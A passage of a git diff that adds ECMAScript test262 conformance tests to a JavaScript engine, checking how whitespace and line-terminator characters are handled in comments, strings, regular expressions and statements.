+eval("//\u0020 single line \u0020 comment \u0020");
+
+//CHECK#2
+var x = 0;
+eval("//\u0020 single line \u0020 comment \u0020 x = 1;");
+if (x !== 0) {
+ $ERROR('#1: var x = 0; eval("//\\u0020 single line \\u0020 comment \\u0020 x = 1;"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A3.4_T2.js b/js/src/tests/test262/ch07/7.2/S7.2_A3.4_T2.js
new file mode 100644
index 000000000..bfc4650fe
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A3.4_T2.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comment can contain SPACE (U+0020)
+ *
+ * @path ch07/7.2/S7.2_A3.4_T2.js
+ * @description Use real SPACE
+ */
+
+//CHECK#1
+var x = 0;
+// single line comment x = 1;
+if (x !== 0) {
+ $ERROR('#1: var x = 0; // single line comment x = 1; x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A3.5_T1.js b/js/src/tests/test262/ch07/7.2/S7.2_A3.5_T1.js
new file mode 100644
index 000000000..6d12abddf
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A3.5_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comment can contain NO-BREAK SPACE (U+00A0)
+ *
+ * @path ch07/7.2/S7.2_A3.5_T1.js
+ * @description Use NO-BREAK SPACE(\u00A0)
+ */
+
+// CHECK#1
+eval("//\u00A0 single line \u00A0 comment \u00A0");
+
+//CHECK#2
+var x = 0;
+eval("//\u00A0 single line \u00A0 comment \u00A0 x = 1;");
+if (x !== 0) {
+ $ERROR('#1: var x = 0; eval("//\\u00A0 single line \\u00A0 comment \\u00A0 x = 1;"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A3.5_T2.js b/js/src/tests/test262/ch07/7.2/S7.2_A3.5_T2.js
new file mode 100644
index 000000000..2085a3b38
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A3.5_T2.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Single line comment can contain NO-BREAK SPACE (U+00A0)
+ *
+ * @path ch07/7.2/S7.2_A3.5_T2.js
+ * @description Use real NO-BREAK SPACE
+ */
+
+//CHECK#1
+var x = 0;
+// single line comment x = 1;
+if (x !== 0) {
+ $ERROR('#1: var x = 0; // single line comment x = 1; x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A4.1_T1.js b/js/src/tests/test262/ch07/7.2/S7.2_A4.1_T1.js
new file mode 100644
index 000000000..6881a144f
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A4.1_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Multi line comment can contain HORIZONTAL TAB (U+0009)
+ *
+ * @path ch07/7.2/S7.2_A4.1_T1.js
+ * @description Use HORIZONTAL TAB(\u0009)
+ */
+
+// CHECK#1
+eval("/*\u0009 multi line \u0009 comment \u0009*/");
+
+//CHECK#2
+var x = 0;
+eval("/*\u0009 multi line \u0009 comment \u0009 x = 1;*/");
+if (x !== 0) {
+ $ERROR('#1: var x = 0; eval("/*\\u0009 multi line \\u0009 comment \\u0009 x = 1;*/"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A4.1_T2.js b/js/src/tests/test262/ch07/7.2/S7.2_A4.1_T2.js
new file mode 100644
index 000000000..a7d7cb758
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A4.1_T2.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Multi line comment can contain HORIZONTAL TAB (U+0009)
+ *
+ * @path ch07/7.2/S7.2_A4.1_T2.js
+ * @description Use real HORIZONTAL TAB
+ */
+
+/*CHECK#1*/
+var x = 0;
+/* multi line comment x = 1;*/
+if (x !== 0) {
+ $ERROR('#1: var x = 0; /* multi line comment x = 1;*/ x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A4.2_T1.js b/js/src/tests/test262/ch07/7.2/S7.2_A4.2_T1.js
new file mode 100644
index 000000000..a3361d47c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A4.2_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Multi line comment can contain VERTICAL TAB (U+000B)
+ *
+ * @path ch07/7.2/S7.2_A4.2_T1.js
+ * @description Use VERTICAL TAB(\u000B)
+ */
+
+// CHECK#1
+eval("/*\u000B multi line \u000B comment \u000B*/");
+
+//CHECK#2
+var x = 0;
+eval("/*\u000B multi line \u000B comment \u000B x = 1;*/");
+if (x !== 0) {
+ $ERROR('#1: var x = 0; eval("/*\\u000B multi line \\u000B comment \\u000B x = 1;*/"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A4.2_T2.js b/js/src/tests/test262/ch07/7.2/S7.2_A4.2_T2.js
new file mode 100644
index 000000000..87ef32235
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A4.2_T2.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Multi line comment can contain VERTICAL TAB (U+000B)
+ *
+ * @path ch07/7.2/S7.2_A4.2_T2.js
+ * @description Use real VERTICAL TAB
+ */
+
+/*CHECK#1*/
+var x = 0;
+/* multi line comment x = 1;*/
+if (x !== 0) {
+ $ERROR('#1: var x = 0; /* multi line comment x = 1;*/ x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A4.3_T1.js b/js/src/tests/test262/ch07/7.2/S7.2_A4.3_T1.js
new file mode 100644
index 000000000..689d28790
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A4.3_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Multi line comment can contain FORM FEED (U+000C)
+ *
+ * @path ch07/7.2/S7.2_A4.3_T1.js
+ * @description Use FORM FEED(\u000C)
+ */
+
+// CHECK#1
+eval("/*\u000C multi line \u000C comment \u000C*/");
+
+//CHECK#2
+var x = 0;
+eval("/*\u000C multi line \u000C comment \u000C x = 1;*/");
+if (x !== 0) {
+ $ERROR('#1: var x = 0; eval("/*\\u000C multi line \\u000C comment \\u000C x = 1;*/"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A4.3_T2.js b/js/src/tests/test262/ch07/7.2/S7.2_A4.3_T2.js
new file mode 100644
index 000000000..f6f404372
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A4.3_T2.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Multi line comment can contain FORM FEED (U+000C)
+ *
+ * @path ch07/7.2/S7.2_A4.3_T2.js
+ * @description Use real FORM FEED
+ */
+
+/*CHECK#1*/
+var x = 0;
+/* multi line comment x = 1;*/
+if (x !== 0) {
+ $ERROR('#1: var x = 0; /* multi line comment x = 1;*/ x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A4.4_T1.js b/js/src/tests/test262/ch07/7.2/S7.2_A4.4_T1.js
new file mode 100644
index 000000000..9f5908e17
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A4.4_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Multi line comment can contain SPACE (U+0020)
+ *
+ * @path ch07/7.2/S7.2_A4.4_T1.js
+ * @description Use SPACE(\u0020)
+ */
+
+// CHECK#1
+eval("/*\u0020 multi line \u0020 comment \u0020*/");
+
+//CHECK#2
+var x = 0;
+eval("/*\u0020 multi line \u0020 comment \u0020 x = 1;*/");
+if (x !== 0) {
+ $ERROR('#1: var x = 0; eval("/*\\u0020 multi line \\u0020 comment \\u0020 x = 1;*/"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A4.4_T2.js b/js/src/tests/test262/ch07/7.2/S7.2_A4.4_T2.js
new file mode 100644
index 000000000..ce446861e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A4.4_T2.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Multi line comment can contain SPACE (U+0020)
+ *
+ * @path ch07/7.2/S7.2_A4.4_T2.js
+ * @description Use real SPACE
+ */
+
+/*CHECK#1*/
+var x = 0;
+/* multi line comment x = 1;*/
+if (x !== 0) {
+ $ERROR('#1: var x = 0; /* multi line comment x = 1;*/ x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A4.5_T1.js b/js/src/tests/test262/ch07/7.2/S7.2_A4.5_T1.js
new file mode 100644
index 000000000..cef5216e3
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A4.5_T1.js
@@ -0,0 +1,20 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Multi line comment can contain NO-BREAK SPACE (U+00A0)
+ *
+ * @path ch07/7.2/S7.2_A4.5_T1.js
+ * @description Use NO-BREAK SPACE(\u00A0)
+ */
+
+// CHECK#1
+eval("/*\u00A0 multi line \u00A0 comment \u00A0*/");
+
+//CHECK#2
+var x = 0;
+eval("/*\u00A0 multi line \u00A0 comment \u00A0 x = 1;*/");
+if (x !== 0) {
+ $ERROR('#1: var x = 0; eval("/*\\u00A0 multi line \\u00A0 comment \\u00A0 x = 1;*/"); x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A4.5_T2.js b/js/src/tests/test262/ch07/7.2/S7.2_A4.5_T2.js
new file mode 100644
index 000000000..c4457c432
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A4.5_T2.js
@@ -0,0 +1,17 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Multi line comment can contain NO-BREAK SPACE (U+00A0)
+ *
+ * @path ch07/7.2/S7.2_A4.5_T2.js
+ * @description Use real NO-BREAK SPACE
+ */
+
+/*CHECK#1*/
+var x = 0;
+/* multi line comment x = 1;*/
+if (x !== 0) {
+ $ERROR('#1: var x = 0; /* multi line comment x = 1;*/ x === 0. Actual: ' + (x));
+}
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A5_T1.js b/js/src/tests/test262/ch07/7.2/S7.2_A5_T1.js
new file mode 100644
index 000000000..6fb19c55d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A5_T1.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White space cannot be expressed as a Unicode escape sequence consisting of six characters, namely \u plus four hexadecimal digits
+ *
+ * @path ch07/7.2/S7.2_A5_T1.js
+ * @description Use TAB (U+0009)
+ * @negative
+ */
+
+var\u0009x;
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A5_T2.js b/js/src/tests/test262/ch07/7.2/S7.2_A5_T2.js
new file mode 100644
index 000000000..1036b4ffa
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A5_T2.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White space cannot be expressed as a Unicode escape sequence consisting of six characters, namely \u plus four hexadecimal digits
+ *
+ * @path ch07/7.2/S7.2_A5_T2.js
+ * @description Use VERTICAL TAB (U+000B)
+ * @negative
+ */
+
+var\u000Bx;
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A5_T3.js b/js/src/tests/test262/ch07/7.2/S7.2_A5_T3.js
new file mode 100644
index 000000000..4eb8212cd
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A5_T3.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White space cannot be expressed as a Unicode escape sequence consisting of six characters, namely \u plus four hexadecimal digits
+ *
+ * @path ch07/7.2/S7.2_A5_T3.js
+ * @description Use FORM FEED (U+000C)
+ * @negative
+ */
+
+var\u000Cx;
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A5_T4.js b/js/src/tests/test262/ch07/7.2/S7.2_A5_T4.js
new file mode 100644
index 000000000..9a47a618d
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A5_T4.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White space cannot be expressed as a Unicode escape sequence consisting of six characters, namely \u plus four hexadecimal digits
+ *
+ * @path ch07/7.2/S7.2_A5_T4.js
+ * @description Use SPACE (U+0020)
+ * @negative
+ */
+
+var\u0020x;
+
diff --git a/js/src/tests/test262/ch07/7.2/S7.2_A5_T5.js b/js/src/tests/test262/ch07/7.2/S7.2_A5_T5.js
new file mode 100644
index 000000000..5076c3b24
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/S7.2_A5_T5.js
@@ -0,0 +1,13 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * White space cannot be expressed as a Unicode escape sequence consisting of six characters, namely \u plus four hexadecimal digits
+ *
+ * @path ch07/7.2/S7.2_A5_T5.js
+ * @description Use NO-BREAK SPACE (U+00A0)
+ * @negative
+ */
+
+var\u00A0x;
+
diff --git a/js/src/tests/test262/ch07/7.2/browser.js b/js/src/tests/test262/ch07/7.2/browser.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/browser.js
diff --git a/js/src/tests/test262/ch07/7.2/shell.js b/js/src/tests/test262/ch07/7.2/shell.js
new file mode 100644
index 000000000..e69de29bb
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.2/shell.js
diff --git a/js/src/tests/test262/ch07/7.3/7.3-1.js b/js/src/tests/test262/ch07/7.3/7.3-1.js
new file mode 100644
index 000000000..3309e649a
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/7.3-1.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.3/7.3-1.js
+ * @description 7.3 - ES5 recognizes the character <LS> (\u2028) as line terminators when parsing statements
+ */
+
+
+function testcase() {
+ eval("var test7_3_1\u2028prop = 66;");
+ return (prop === 66) && ((typeof test7_3_1) === "undefined");
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.3/7.3-10.js b/js/src/tests/test262/ch07/7.3/7.3-10.js
new file mode 100644
index 000000000..141841b9c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/7.3-10.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.3/7.3-10.js
+ * @description 7.3 - ES5 recognizes the character <PS> (\u2029) as a NonEscapeCharacter
+ */
+
+
+function testcase() {
+ try {
+ eval("var prop = \\u2029;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.3/7.3-11.js b/js/src/tests/test262/ch07/7.3/7.3-11.js
new file mode 100644
index 000000000..42116da20
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/7.3-11.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.3/7.3-11.js
+ * @description 7.3 - ES5 specifies that a multiline comment that contains a line terminator character <LS> (\u2028) must be treated as a single line terminator for the purposes of semicolon insertion
+ */
+
+
+function testcase() {
+ /*MultiLine
+ Comments
+ \u2028 var = ;
+ */
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.3/7.3-12.js b/js/src/tests/test262/ch07/7.3/7.3-12.js
new file mode 100644
index 000000000..b993f5bde
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/7.3-12.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.3/7.3-12.js
+ * @description 7.3 - ES5 specifies that a multiline comment that contains a line terminator character <PS> (\u2029) must be treated as a single line terminator for the purposes of semicolon insertion
+ */
+
+
+function testcase() {
+ /*MultiLine
+ Comments
+ \u2029 var = ;
+ */
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.3/7.3-13.js b/js/src/tests/test262/ch07/7.3/7.3-13.js
new file mode 100644
index 000000000..d7f941c38
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/7.3-13.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.3/7.3-13.js
+ * @description 7.3 - ES5 specifies that a multiline comment that contains a line terminator character <CR> (\u000D) must be treated as a single line terminator for the purposes of semicolon insertion
+ */
+
+
+function testcase() {
+ /*MultiLine
+ Comments
+ \u000D var = ;
+ */
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.3/7.3-14.js b/js/src/tests/test262/ch07/7.3/7.3-14.js
new file mode 100644
index 000000000..8f973ae06
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/7.3-14.js
@@ -0,0 +1,19 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.3/7.3-14.js
+ * @description 7.3 - ES5 specifies that a multiline comment that contains a line terminator character <LF> (\u000A) must be treated as a single line terminator for the purposes of semicolon insertion
+ */
+
+
+function testcase() {
+ /*MultiLine
+ Comments
+ \u000A var = ;
+ */
+ return true;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.3/7.3-15.js b/js/src/tests/test262/ch07/7.3/7.3-15.js
new file mode 100644
index 000000000..7dc88a644
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/7.3-15.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.3/7.3-15.js
+ * @description 7.3 - ES5 recognize <BOM> (\uFFFF) as a whitespace character
+ */
+
+
+function testcase() {
+ var prop = "a\uFFFFa";
+ return prop.length === 3 && prop !== "aa" && prop[1] === "\uFFFF";
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.3/7.3-2.js b/js/src/tests/test262/ch07/7.3/7.3-2.js
new file mode 100644
index 000000000..95fb24280
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/7.3-2.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.3/7.3-2.js
+ * @description 7.3 - ES5 recognizes the character <PS> (\u2029) as line terminators when parsing statements
+ */
+
+
+function testcase() {
+ eval("var test7_3_2\u2029prop = 66;");
+ return (prop===66) && ((typeof test7_3_2) === "undefined");
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.3/7.3-3.js b/js/src/tests/test262/ch07/7.3/7.3-3.js
new file mode 100644
index 000000000..5a05cd16e
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/7.3-3.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.3/7.3-3.js
+ * @description 7.3 - ES5 recognizes the character <LS> (\u2028) as terminating SingleLineComments
+ */
+
+
+function testcase() {
+ try {
+ eval("//Single Line Comments\u2028 var =;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.3/7.3-4.js b/js/src/tests/test262/ch07/7.3/7.3-4.js
new file mode 100644
index 000000000..41285cb46
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/7.3-4.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.3/7.3-4.js
+ * @description 7.3 - ES5 recognizes the character <PS> (\u2029) as terminating SingleLineComments
+ */
+
+
+function testcase() {
+ try {
+ eval("//Single Line Comments\u2029 var =;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.3/7.3-5.js b/js/src/tests/test262/ch07/7.3/7.3-5.js
new file mode 100644
index 000000000..ad65ebbf2
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/7.3-5.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.3/7.3-5.js
+ * @description 7.3 - ES5 recognizes the character <LS> (\u2028) as terminating string literal
+ */
+
+
+function testcase() {
+ var prop = "66\u2028123";
+ return prop === "66\u2028123" && prop[2] === "\u2028" && prop.length === 6;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.3/7.3-6.js b/js/src/tests/test262/ch07/7.3/7.3-6.js
new file mode 100644
index 000000000..5035eae1c
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/7.3-6.js
@@ -0,0 +1,16 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.3/7.3-6.js
+ * @description 7.3 - ES5 recognizes the character <PS> (\u2029) as terminating string literal
+ */
+
+
+function testcase() {
+ var prop = "66\u2029123";
+ return prop === "66\u2029123" && prop[2] === "\u2029" && prop.length === 6;
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.3/7.3-7.js b/js/src/tests/test262/ch07/7.3/7.3-7.js
new file mode 100644
index 000000000..641117ddf
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/7.3-7.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.3/7.3-7.js
+ * @description 7.3 - ES5 recognizes the character <LS> (\u2028) as terminating regular expression literals
+ */
+
+
+function testcase() {
+ try {
+ eval("var regExp = /[\u2028]/");
+ regExp.test("");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.3/7.3-8.js b/js/src/tests/test262/ch07/7.3/7.3-8.js
new file mode 100644
index 000000000..7ac4481b1
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/7.3-8.js
@@ -0,0 +1,21 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.3/7.3-8.js
+ * @description 7.3 - ES5 recognizes the character <PS> (\u2029) as terminating regular expression literals
+ */
+
+
+function testcase() {
+ try {
+ eval("var regExp = /[\u2029]/");
+ regExp.test("");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.3/7.3-9.js b/js/src/tests/test262/ch07/7.3/7.3-9.js
new file mode 100644
index 000000000..53e964491
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/7.3-9.js
@@ -0,0 +1,20 @@
+/// Copyright (c) 2012 Ecma International. All rights reserved.
+/// Ecma International makes this code available under the terms and conditions set
+/// forth on http://hg.ecmascript.org/tests/test262/raw-file/tip/LICENSE (the
+/// "Use Terms"). Any redistribution of this code must retain the above
+/// copyright and this notice and otherwise comply with the Use Terms.
+/**
+ * @path ch07/7.3/7.3-9.js
+ * @description 7.3 - ES5 recognizes the character <LS> (\u2028) as a NonEscapeCharacter
+ */
+
+
+function testcase() {
+ try {
+ eval("var prop = \\u2028;");
+ return false;
+ } catch (e) {
+ return e instanceof SyntaxError;
+ }
+ }
+runTestCase(testcase);
diff --git a/js/src/tests/test262/ch07/7.3/S7.3_A1.1_T1.js b/js/src/tests/test262/ch07/7.3/S7.3_A1.1_T1.js
new file mode 100644
index 000000000..b5814c2e0
--- /dev/null
+++ b/js/src/tests/test262/ch07/7.3/S7.3_A1.1_T1.js
@@ -0,0 +1,40 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * LINE FEED (U+000A) may occur between any two tokens
+ *
+ * @path ch07/7.3/S7.3_A1.1_T1.js
+ * @description Insert LINE FEED (\u000A and \n) between tokens of var x=1
+ */
+
+// CHECK#1
+eval("\u000Avar\u000Ax\u000A=\u000A1\u000A");
+if (x !== 1) {
+ $ERROR('#1: eval("\\u000Avar\\u000Ax\\u000A=\\u000A1\\u000A"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#2
+eval("\u000A" + "var" + "\u000A" + "x" + "\u000A" + "=" + "\u000A" + "1" + "\u000A");
+if (x !== 1) {
+ $ERROR('#2: eval("\\u000A" + "var" + "\\u000A" + "x" + "\\u000A" + "=" + "\\u000A" + "1" + "\\u000A"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#3
+eval("\nvar\nx\n=\n1\n");
+if (x !== 1) {
+ $ERROR('#3: eval("\\nvar\\nx\\n=\\n1\\n"); x === 1. Actual: ' + (x));
+}
+
+//CHECK#4
+eval("\n" + "var" + "\n" + "x" + "\n" + "=" + "\n" + "1" + "\n");
+if (x !== 1) {
